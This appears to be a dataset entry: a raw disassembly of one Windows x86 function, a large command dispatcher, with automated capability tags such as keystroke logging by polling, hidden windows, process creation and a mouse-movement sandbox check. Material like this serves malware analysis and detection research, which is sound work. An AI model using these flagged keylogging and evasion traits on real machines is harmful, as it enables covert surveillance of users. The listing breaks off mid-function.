Function at 0x40b2e0
Capabilities:
Check for unmoving mouse cursor
Create process on windows
Delete file
Enumerate files on windows
Hide graphical window
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [0x41b388]
sub esp, 0x4a8
push ebx
push ebp
push esi
push edi
mov dword [0x41a0a8], eax
call fcn.00408810
mov eax, dword [0x41a0a8]
cmp eax, 0x67
ja case.0x4049d7.1
jmp dword [eax*4 + 0x4073d0]
call fcn.00408c90
mov eax, dword [0x41a75c]
test eax, eax
jne 0x4073c2
call fcn.00408ba0
test eax, eax
mov dword [0x41b2f4], eax
jne 0x4073c2
mov ecx, dword [0x41b388]
mov edx, dword [0x41a7d4]
mov eax, dword [0x41a1e0]
push ecx
push edx
push eax
call fcn.004014a0
add esp, 0xc
mov dword [0x41a7a8], eax
call fcn.004080f0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.00408c90
push 0xffffffffffffffff
mov dword [0x41908c], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a1f0], eax
jne 0x406b62
test eax, eax
jge 0x404a84
mov ecx, dword [0x41908c]
mov edx, dword [0x41a1e0]
mov eax, dword [edx + 0x34]
push ecx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ecx, dword [0x41a1e0]
mov eax, dword [ecx + eax*4 + 0xa4]
test eax, eax
je 0x406b8c
mov edx, dword [0x41908c]
push edx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov eax, dword [0x41a1e0]
mov ecx, dword [eax + 0x6c]
push ecx
call fcn.00408bf0
mov edx, dword [0x41a1e0]
mov dword [0x41a1f0], eax
mov eax, dword [edx + 0x70]
push eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 8
test ecx, ecx
mov dword [0x41a1c8], eax
jne 0x406b62
mov ecx, dword [0x41a1e0]
mov edx, dword [0x41a1f0]
pop edi
pop esi
mov dword [ecx + 0x6c], edx
pop ebp
mov dword [ecx + 0x70], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a1f0], eax
jne 0x406b62
push eax
mov eax, dword [0x41a1e0]
push eax
call fcn.004022d0
add esp, 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.00408c90
mov edx, dword [0x41b390]
mov dword [0x41908c], eax
mov ecx, eax
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x404b56
push 0xc
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
mov dword [0x41a1c8], eax
mov eax, dword [0x41a75c]
add esp, 8
test eax, eax
mov dword [0x41a1c4], 0
jne 0x4073c2
mov ecx, dword [0x41a1e0]
push ecx
call fcn.004019e0
mov edx, dword [0x41a1c4]
mov eax, dword [0x41a1c8]
mov ecx, dword [0x41a1f0]
push edx
mov edx, dword [0x41b390]
push eax
mov eax, dword [0x41a1e0]
push ecx
push edx
push eax
call fcn.00401a70
add esp, 0x18
jmp 0x4059e3
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a1f0], eax
jne 0x406b62
mov ecx, dword [0x41a1e0]
push eax
push ecx
call fcn.00401b60
add esp, 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0x40
call fcn.00408bf0
push 0x18
mov dword [0x41a1f0], eax
call fcn.00408bf0
push 0
mov dword [0x41a1c8], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 0xc
test ecx, ecx
mov dword [0x41a1c4], eax
jne 0x406b62
mov ecx, dword [0x41a1e0]
mov edx, dword [0x41a1f0]
pop edi
mov dword [ecx + 0x74], edx
mov edx, dword [0x41a1c8]
pop esi
mov dword [ecx + 0x78], edx
pop ebp
mov dword [ecx + 0x7c], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.00408c90
mov edx, dword [0x41b390]
mov dword [0x41908c], eax
mov ecx, eax
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x404c75
push 0
call fcn.00408bf0
push 0
mov dword [0x41a1c4], eax
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 0xc
test ecx, ecx
mov dword [0x41a1c8], eax
jne 0x406b62
mov ecx, dword [0x41a1c4]
test ecx, ecx
jne 0x404cec
mov ecx, dword [0x41a1e0]
mov edx, dword [ecx + 0x44]
push edx
mov edx, dword [ecx + 0x48]
push edx
mov edx, dword [0x41b390]
push eax
mov eax, dword [0x41a1f0]
push eax
push edx
push ecx
call fcn.00403330
mov dword [0x41a78c], 1
jmp 0x404d0a
mov ecx, dword [0x41b390]
mov edx, dword [0x41a1e0]
push 0
push 0
push eax
mov eax, dword [0x41a1f0]
push eax
push ecx
push edx
call fcn.00403330
add esp, 0x18
test eax, eax
mov dword [0x41a1cc], eax
je case.0x4049d7.18
pop edi
pop esi
pop ebp
mov eax, 0xd
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
push 0
mov dword [0x41a1c8], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 0xc
test ecx, ecx
mov dword [0x41a1c4], eax
jne 0x406b62
mov ecx, dword [0x41a1f0]
mov edx, dword [0x41a1e0]
push eax
mov eax, dword [0x41a1c8]
push eax
push ecx
push edx
call fcn.00401bb0
add esp, 0x10
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a1f0], eax
jne 0x406b62
push ecx
push eax
mov eax, dword [0x41a1e0]
push 0xffffffffffffffff
push eax
call fcn.00401bb0
add esp, 0x10
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
push 0
mov dword [0x41a1c8], eax
call fcn.00408bf0
push 0
mov dword [0x41a1c4], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 0x10
test ecx, ecx
mov dword [0x41a1f4], eax
jne 0x406b62
mov ecx, dword [0x41a1c4]
mov edx, dword [0x41a1c8]
push eax
mov eax, dword [0x41a1f0]
push ecx
mov ecx, dword [0x41a1e0]
push edx
push eax
push ecx
call fcn.00401e60
add esp, 0x14
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov ebx, 1
push ebx
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
push 0
mov dword [0x41a1c8], eax
call fcn.00408bf0
push 0
mov dword [0x41a1c4], eax
call fcn.00408bf0
push 0
mov dword [0x41a1f4], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 0x14
test ecx, ecx
mov dword [0x41a0a4], eax
jne 0x406b62
mov ecx, dword [0x41a1e0]
cmp dword [ecx + 0x44], ebx
je case.0x4049d7.18
mov edx, dword [0x41a1f0]
test edx, edx
jne 0x404ec6
xor edx, edx
mov dword [0x41a1f0], 2
mov dl, byte [0x41a1f0]
pop edi
pop esi
pop ebp
and edx, ebx
mov word [ecx + 0x4e], dx
xor eax, eax
pop ebx
add esp, 0x4a8
ret
cmp edx, 2
jge 0x404f06
mov edx, dword [0x41a1f4]
test edx, edx
mov word [ecx + 0x4e], bx
je 0x404ef7
test eax, eax
je 0x404ef7
push eax
mov eax, dword [0x41a1c8]
push edx
mov edx, dword [0x41a1c4]
push edx
push eax
push ecx
call fcn.00402200
add esp, 0x14
jmp 0x404f00
push ecx
call fcn.004021c0
add esp, 4
mov ecx, dword [0x41a1e0]
xor edx, edx
mov dl, byte [0x41a1f0]
pop edi
pop esi
pop ebp
and edx, ebx
mov word [ecx + 0x4e], dx
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0xffffffffffffffff
call fcn.00408bf0
push 0xffffffffffffffff
mov dword [0x41a1f0], eax
call fcn.00408bf0
push 0xffffffffffffffff
mov dword [0x41a1c8], eax
call fcn.00408bf0
push 0xffffffffffffffff
mov dword [0x41a1c4], eax
call fcn.00408bf0
mov dword [0x41a1f4], eax
mov eax, dword [0x41a75c]
add esp, 0x10
test eax, eax
jne 0x4073c2
mov eax, dword [0x41a1e0]
cmp dword [eax + 0x44], 5
jne 0x404fcc
mov edx, dword [eax + 0x34]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [0x41a1f0]
test ecx, ecx
jge 0x404f90
mov ecx, dword [esp + 0x28]
inc ecx
mov dword [0x41a1f0], ecx
mov eax, dword [0x41a1c8]
test eax, eax
jge 0x404fa3
mov eax, dword [esp + 0x2c]
inc eax
mov dword [0x41a1c8], eax
push eax
mov eax, dword [0x41a1e0]
push ecx
push eax
call fcn.0040c3e0
mov eax, dword [0x41a1e0]
add esp, 0xc
mov dword [0x41a1f0], 0xffffffff
mov dword [0x41a1c8], 0xffffffff
mov ecx, dword [0x41a1c8]
mov edx, dword [0x41a1f0]
push ecx
mov ecx, dword [0x41a1f4]
push edx
mov edx, dword [0x41a1c4]
push ecx
push edx
push eax
call fcn.00401fe0
add esp, 0x14
pop edi
pop esi
pop ebp
mov dword [0x41a78c], 1
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
mov dword [0x41a1c8], eax
mov eax, dword [0x41a75c]
add esp, 8
test eax, eax
jne 0x4073c2
mov eax, dword [0x41a1f0]
push eax
call fcn.0040bd20
add esp, 4
test eax, eax
je 0x406b8c
mov ecx, dword [0x41a1f0]
push ecx
call fcn.0040bd10
mov ecx, dword [0x41a1c8]
mov edx, dword [0x41a1f0]
add esp, 4
test ecx, ecx
mov dword [0x41a1e0], eax
mov dword [0x41a1c0], edx
jge 0x405089
mov eax, dword [eax + 0x34]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
jle case.0x4049d7.18
mov eax, dword [eax + 0x34]
xor edx, edx
cmp ecx, 1
setne dl
push 5
push eax
add edx, 0xfffffffe
mov esi, edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [0x41a1e0]
mov edx, dword [ecx + 0x34]
push edx
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [0x41a1e0]
mov ecx, dword [eax + 0x34]
push 3
push 0
push 0
push 0
push 0
push esi
push ecx
call dword [sym.imp.USER32.dll_SetWindowPos]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 1
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
push 0
mov dword [0x41a1c8], eax
call fcn.00408bf0
mov edx, dword [0x41a1e0]
mov dword [0x41a1c4], eax
mov eax, dword [edx + 0x84]
push eax
call fcn.00408bf0
mov ecx, dword [0x41a1e0]
mov edx, dword [ecx + 0x88]
push edx
mov dword [0x41a1f4], eax
call fcn.00408bf0
mov dword [0x41a0a4], eax
mov eax, dword [0x41a75c]
add esp, 0x14
test eax, eax
jne 0x4073c2
mov eax, dword [0x41a1f0]
push eax
call fcn.0040bd20
add esp, 4
test eax, eax
je 0x406b8c
mov ecx, dword [0x41a1e0]
mov edx, dword [ecx + 0x8c]
mov eax, dword [0x41a0a4]
mov ecx, dword [0x41a1f4]
push edx
mov edx, dword [0x41a1c4]
push eax
mov eax, dword [0x41a1c8]
push ecx
mov ecx, dword [0x41a1f0]
push edx
push eax
push ecx
call fcn.0040bd10
mov edx, dword [0x41a1e0]
add esp, 4
push eax
push edx
call fcn.00402c50
add esp, 0x1c
test eax, eax
je case.0x4049d7.18
pop edi
pop esi
pop ebp
mov eax, 0x15
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
push 1
mov dword [0x41a1c8], eax
call fcn.00408bf0
push 0
mov dword [0x41a1c4], eax
call fcn.00408bf0
push 0
mov dword [0x41a1f4], eax
call fcn.00408bf0
mov dword [0x41a0a4], eax
mov eax, dword [0x41a1e0]
mov ecx, dword [eax + 0x84]
push ecx
call fcn.00408bf0
mov edx, dword [0x41a1e0]
mov dword [0x418f6c], eax
mov eax, dword [edx + 0x88]
push eax
call fcn.00408bf0
mov dword [0x41a1e4], eax
mov eax, dword [0x41a75c]
add esp, 0x1c
test eax, eax
jne 0x4073c2
mov ecx, dword [0x41a1c4]
push ecx
call fcn.0040bd20
add esp, 4
test eax, eax
je 0x406b8c
mov edx, dword [0x41a1e4]
mov eax, dword [0x418f6c]
mov ecx, dword [0x41a0a4]
push edx
mov edx, dword [0x41a1f4]
push eax
mov eax, dword [0x41a1c4]
push ecx
push edx
push eax
call fcn.0040bd10
mov ecx, dword [0x41a1c8]
mov edx, dword [0x41a1f0]
add esp, 4
push eax
mov eax, dword [0x41a1e0]
push ecx
push edx
push eax
call fcn.00402ce0
add esp, 0x20
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
push 0x20
mov dword [0x41a1f0], eax
call fcn.00408bf0
push 0x20
mov dword [0x41a1c8], eax
call fcn.00408bf0
push 0
mov dword [0x41a1c4], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 0x10
test ecx, ecx
mov dword [0x41a1f4], eax
jne 0x406b62
mov ecx, dword [0x41a1e0]
mov edx, dword [0x41a1f0]
mov dword [ecx + 0x8c], edx
mov edx, dword [0x41a1c8]
pop edi
mov dword [ecx + 0x84], edx
mov edx, dword [0x41a1c4]
pop esi
mov dword [ecx + 0x88], edx
pop ebp
mov dword [ecx + 0x308], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.00408c90
mov ecx, dword [0x41a75c]
test ecx, ecx
mov dword [0x41908c], eax
jne 0x406b62
push eax
mov eax, dword [0x41a1e0]
push eax
call fcn.00402590
add esp, 8
jmp 0x40543f
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a1f0], eax
jne 0x406b62
test eax, eax
je 0x40536d
or eax, 0x10000
mov dword [0x41a1f0], eax
mov ecx, dword [0x41a1e0]
pop edi
pop esi
pop ebp
mov dword [ecx + 0x2a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a1f0], eax
je 0x406acb
mov ebx, 1
push ebx
mov dword [0x41a1e8], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a1f0], eax
jne 0x406b62
push eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov edx, dword [0x41a1e8]
pop edi
pop esi
pop ebp
shr eax, 0xf
and eax, ebx
mov dword [0x41a1c8], eax
mov dword [edx], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.00408c90
mov edx, dword [0x41b390]
mov dword [0x41908c], eax
mov ecx, eax
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4053f6
push 0
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 8
test ecx, ecx
mov dword [0x41a1c8], eax
jne 0x406b62
mov ecx, dword [0x41b390]
push eax
mov eax, dword [0x41a1f0]
push eax
push ecx
call fcn.0040d9f0
add esp, 0xc
test eax, eax
mov dword [0x41a1cc], eax
je case.0x4049d7.18
pop edi
pop esi
pop ebp
mov eax, 0xc
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
mov dword [0x41a1f0], eax
mov eax, dword [0x41a75c]
add esp, 4
test eax, eax
jne 0x4073c2
mov eax, dword [0x41a1e0]
mov edx, dword [eax + 8]
mov ecx, dword [eax + 4]
push edx
mov edx, dword [eax + 0x70]
push ecx
mov ecx, dword [eax + 0x6c]
push edx
mov edx, dword [eax + 0x34]
push ecx
push edx
call fcn.0040d8e0
mov eax, dword [0x41a1f0]
push eax
call fcn.0040dbb0
add esp, 0x18
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.00408c90
mov ecx, dword [0x41a75c]
test ecx, ecx
mov dword [0x41908c], eax
jne 0x406b62
push eax
call fcn.0040d8a0
add esp, 4
mov dword [0x41a7a8], eax
call fcn.0040d8d0
mov edx, 0x4190a0
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
test cl, cl
jne 0x4054e1
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a1f0], eax
je 0x406acb
cmp dword [0x41acc8], 2
mov esi, dword [0x41acdc]
jne 0x40553c
mov edx, dword [0x41b390]
mov dword [0x41a1cc], 2
mov ecx, eax
jmp 0x405530
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x405530
jmp 0x40555a
mov ecx, dword [0x41b390]
mov edx, dword [eax]
push 0xa
push ecx
push edx
mov dword [0x41a1cc], 1
call fcn.0040ec6b
add esp, 0xc
call fcn.00407f20
mov dword [0x418f6c], eax
mov eax, dword [0x41a1e0]
mov ecx, dword [eax + 0x74]
push ecx
call fcn.00408bf0
mov edx, dword [0x41a1e0]
mov dword [0x41a1c8], eax
mov eax, dword [edx + 0x78]
push eax
call fcn.00408bf0
mov ecx, dword [0x418f6c]
push ecx
mov dword [0x41a1c4], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 0xc
test ecx, ecx
mov dword [0x41a1f4], eax
jne 0x406b62
mov edx, dword [0x41a1cc]
mov ecx, dword [0x41a1c4]
push esi
push eax
mov eax, dword [0x41a1f0]
add edx, 0x200
push edx
mov edx, dword [0x41a1c8]
push eax
mov eax, dword [0x41b390]
push ecx
mov ecx, dword [0x41a1e0]
push edx
push eax
push ecx
call fcn.00401580
add esp, 0x20
pop edi
pop esi
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.004082f0
test eax, eax
mov dword [0x41a1f0], eax
je 0x406acb
cmp dword [0x41acc8], 2
mov edi, dword [0x41acdc]
jne 0x406ae4
call fcn.00407f20
mov edx, dword [0x41a1e0]
mov dword [0x418f6c], eax
mov eax, dword [edx + 0x74]
push eax
call fcn.00408bf0
mov ecx, dword [0x41a1e0]
mov edx, dword [ecx + 0x78]
push edx
mov dword [0x41a1c8], eax
call fcn.00408bf0
push 0
mov dword [0x41a1c4], eax
call fcn.00408bf0
mov dword [0x41a1f4], eax
mov eax, dword [0x418f6c]
push eax
call fcn.00408bf0
mov esi, eax
mov eax, dword [0x41a75c]
add esp, 0x10
test eax, eax
mov dword [0x41a0a4], esi
jne 0x4073c2
mov dl, byte [0x41a1f4]
xor ecx, ecx
test dl, 1
mov dword [0x41a1cc], ecx
je 0x40569b
mov ecx, 0x200
mov dword [0x41a1cc], ecx
test dl, 2
je 0x4056ab
mov ecx, 0x400
mov dword [0x41a1cc], ecx
test dl, 4
je 0x4056bc
or ecx, 0x800
mov dword [0x41a1cc], ecx
mov eax, dword [0x41a1f0]
mov edx, dword [0x41a1c8]
push edi
push esi
or ecx, 0x102
push ecx
mov ecx, dword [0x41a1c4]
push eax
push ecx
push edx
push eax
mov eax, dword [0x41a1e0]
push eax
call fcn.00401580
add esp, 0x20
pop edi
pop esi
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
push 0x280
mov dword [0x41a1cc], eax
call fcn.00408bf0
push 0x1e0
mov dword [0x41a1f0], eax
call fcn.00408bf0
mov ecx, dword [0x41c460]
push ecx
mov dword [0x41a1c8], eax
call fcn.00408bf0
push 0xffffffffffffffff
mov dword [0x41a1c4], eax
call fcn.00408bf0
push 0xffffffffffffffff
mov dword [0x41a1f4], eax
call fcn.00408bf0
mov edx, dword [0x41a1f0]
push edx
mov dword [0x41a0a4], eax
call fcn.00408bf0
mov dword [0x418f6c], eax
mov eax, dword [0x41a1c8]
push eax
call fcn.00408bf0
mov dword [0x41a1e4], eax
mov eax, dword [0x41a75c]
add esp, 0x20
test eax, eax
jne 0x4073c2
mov ecx, dword [0x41a1c4]
mov eax, dword [0x41a1cc]
sar ecx, 2
push ecx
push eax
mov dword [0x41a1c0], eax
call fcn.0040bd40
and dword [0x41a1c4], 3
mov edx, dword [0x41a1cc]
add esp, 8
cmp edx, 2
mov eax, 5
mov dword [0x419098], eax
jge 0x4057c1
mov eax, 3
mov dword [0x419098], eax
mov ecx, dword [0x41a0a8]
cmp ecx, 0x29
mov ebx, 1
jne 0x4057da
mov eax, ebx
mov dword [0x419098], eax
jmp 0x40580e
cmp ecx, 0x2b
jne 0x4057eb
mov eax, 2
mov dword [0x419098], eax
jmp 0x40580e
cmp eax, 5
jne 0x40580e
push edx
call fcn.0040bd30
add esp, 4
test bl, al
je 0x405809
mov eax, 4
mov dword [0x419098], eax
jmp 0x40580e
mov eax, dword [0x419098]
mov edx, dword [0x41a1c4]
mov ecx, dword [0x41a1c8]
push edx
mov edx, dword [0x41a1f0]
push ecx
mov ecx, dword [0x41a1e4]
push edx
mov edx, dword [0x418f6c]
push ecx
mov ecx, dword [0x41a0a4]
push edx
mov edx, dword [0x41a1f4]
push ecx
push edx
push eax
mov eax, dword [0x41a1cc]
push eax
call fcn.0040cd20
mov eax, dword [0x419098]
add esp, 0x24
cmp eax, ebx
je case.0x4049d7.18
pop edi
pop esi
pop ebp
mov dword [0x41a78c], ebx
xor eax, eax
pop ebx
add esp, 0x4a8
ret
call fcn.00408c90
mov edx, dword [0x41b390]
mov dword [0x41908c], eax
mov ecx, eax
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x405880
push 0
call fcn.00408bf0
push 0x415301
mov dword [0x41a1f0], eax
call fcn.00408cf0
mov ecx, dword [0x41a75c]
add esp, 8
test ecx, ecx
mov dword [0x41908c], eax
jne 0x406b62
mov ecx, dword [0x41a1f0]
test cl, 0x10
je 0x405918
mov edx, dword [0x41b390]
push eax
mov eax, dword [0x41a1e0]
push edx
and ecx, 3
push ecx
mov ecx, dword [eax + 0x34]
push ecx
call fcn.00407c90
add esp, 0x10
test eax, eax
mov dword [0x41a7a8], eax
jne 0x4058f7
pop edi
pop esi
pop ebp
mov byte [0x4190a0], al
pop ebx
add esp, 0x4a8
ret
call fcn.00407c80
mov edx, 0x4190a0
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
test cl, cl
jne 0x405901
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
test cl, 0x20
je 0x405970
mov edx, dword [0x41a1e0]
mov eax, dword [edx + 0x34]
mov ebx, 1
and ecx, ebx
push ecx
push eax
call fcn.00407d00
add esp, 8
cmp eax, 0xffffffff
mov dword [0x41a1cc], eax
jne 0x405958
pop edi
pop esi
pop ebp
mov dword [0x41a7a8], 0
xor eax, eax
pop ebx
add esp, 0x4a8
ret
pop edi
pop esi
pop ebp
mov dword [0x418f10], eax
mov dword [0x41a7a8], ebx
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov dl, cl
and dl, 1
neg dl
sbb edx, edx
and edx, 0xfffffff0
add edx, 0x40
test cl, 2
mov dword [0x41a1cc], edx
je 0x405993
or edx, 4
mov dword [0x41a1cc], edx
mov ecx, dword [0x41a1e0]
push edx
mov edx, dword [ecx + 0x34]
push eax
mov eax, dword [0x41b390]
push eax
push edx
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
pop ebp
mov dword [0x41a7a8], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 4
test ecx, ecx
mov dword [0x41a1f0], eax
jne 0x406b62
push eax
call fcn.004042b0
add esp, 4
test eax, eax
mov dword [0x41a1cc], eax
je case.0x4049d7.18
pop edi
pop esi
pop ebp
mov eax, 3
pop ebx
add esp, 0x4a8
ret
call fcn.00408c90
mov edx, dword [0x41b390]
mov dword [0x41908c], eax
mov ecx, eax
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x405a12
push 0
call fcn.00408bf0
push 0x415301
mov dword [0x41a1f0], eax
call fcn.00408cf0
mov edx, eax
mov eax, dword [0x41a75c]
add esp, 8
test eax, eax
mov dword [0x41908c], edx
jne 0x4073c2
mov cl, byte [0x41a1f0]
test cl, 2
mov eax, 0xa
mov dword [0x419098], eax
je 0x405a69
mov eax, 2
mov dword [0x419098], eax
mov ebx, 1
test bl, cl
mov dword [0x41a78c], ebx
je 0x405a82
mov dword [0x41a78c], 0xfffffffa
cmp byte [edx], 0
je 0x405ae0
xor eax, eax
mov ecx, 0xf
lea edi, [esp + 0x3c]
rep stosd dword es:[edi], eax
mov eax, dword [0x41a1e0]
mov dword [esp + 0x3c], 0x3c
mov dword [esp + 0x40], 0xc
mov ecx, dword [eax + 0x34]
mov dword [esp + 0x48], edx
mov edx, dword [0x41b390]
lea eax, [esp + 0x3c]
push eax
mov dword [esp + 0x48], ecx
mov dword [esp + 0x50], edx
mov dword [esp + 0x5c], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x405b45
mov cl, byte [0x41a1f0]
mov eax, dword [0x419098]
test cl, 0x10
push eax
je 0x405b06
mov ecx, dword [0x41b390]
push 0x415301
push 0x415301
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x405b37
test cl, 0x20
je 0x405b2b
mov edx, dword [0x41b390]
push 0x415301
push 0x415301
push edx
push str.print
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x405b37
mov eax, dword [0x41b390]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x20
mov dword [0x41a1cc], eax
jge case.0x4049d7.18
pop edi
pop esi
pop ebp
mov eax, 0xe
pop ebx
add esp, 0x4a8
ret
call fcn.00408c90
mov ecx, dword [0x41a75c]
test ecx, ecx
mov dword [0x41908c], eax
jne 0x406b62
push eax
call fcn.0040f5ef
add esp, 4
test eax, eax
mov dword [0x41a7a8], eax
je case.0x4049d7.18
pop edi
pop esi
pop ebp
mov eax, 0xc
pop ebx
add esp, 0x4a8
ret
call fcn.0040d980
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
mov ecx, dword [0x41a1e0]
mov edx, dword [ecx + 4]
push edx
mov dword [0x41a1c8], eax
call fcn.00408bf0
mov dword [0x41a1c4], eax
mov eax, dword [0x41a1e0]
mov ecx, dword [eax + 8]
push ecx
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 0x10
test ecx, ecx
mov dword [0x41a1f4], eax
jne 0x406b62
mov edx, dword [0x41a1c4]
mov ecx, dword [0x41a1f0]
push eax
mov eax, dword [0x41a1c8]
push edx
mov edx, dword [0x41a1e0]
push eax
push ecx
push edx
call fcn.00402d50
add esp, 0x14
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov eax, dword [0x41a1e0]
mov ecx, dword [eax + 0x6c]
push ecx
call fcn.00408bf0
mov edx, dword [0x41a1e0]
mov dword [0x41a1f0], eax
mov eax, dword [edx + 0x70]
push eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 8
test ecx, ecx
mov dword [0x41a1c8], eax
jne 0x406b62
mov ecx, dword [0x41a1f0]
mov edx, dword [0x41a1e0]
push eax
push ecx
push edx
call fcn.00402dc0
add esp, 0xc
pop edi
pop esi
pop ebp
mov dword [0x418f10], eax
xor eax, eax
pop ebx
add esp, 0x4a8
ret
mov eax, dword [0x41a1e0]
mov ecx, dword [eax + 0x6c]
push ecx
call fcn.00408bf0
mov edx, dword [0x41a1e0]
mov dword [0x41a1f0], eax
mov eax, dword [edx + 0x70]
push eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 8
test ecx, ecx
mov dword [0x41a1c8], eax
jne 0x406b62
mov ecx, dword [0x41a1f0]
mov edx, dword [0x41a1e0]
push eax
push ecx
push edx
call fcn.00402de0
add esp, 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
push 0xff
mov dword [0x41a1c8], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 0xc
test ecx, ecx
mov dword [0x41a1c4], eax
jne 0x406b62
mov ecx, dword [0x41a1f0]
mov edx, dword [0x41a1c8]
push ecx
push eax
mov eax, dword [0x41a1e0]
push edx
push eax
call fcn.00401dd0
add esp, 0x10
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4a8
ret
push 0
call fcn.00408bf0
push 0
mov dword [0x41a1f0], eax
call fcn.00408bf0
mov ecx, dword [0x41a75c]
add esp, 8
test ecx, ecx
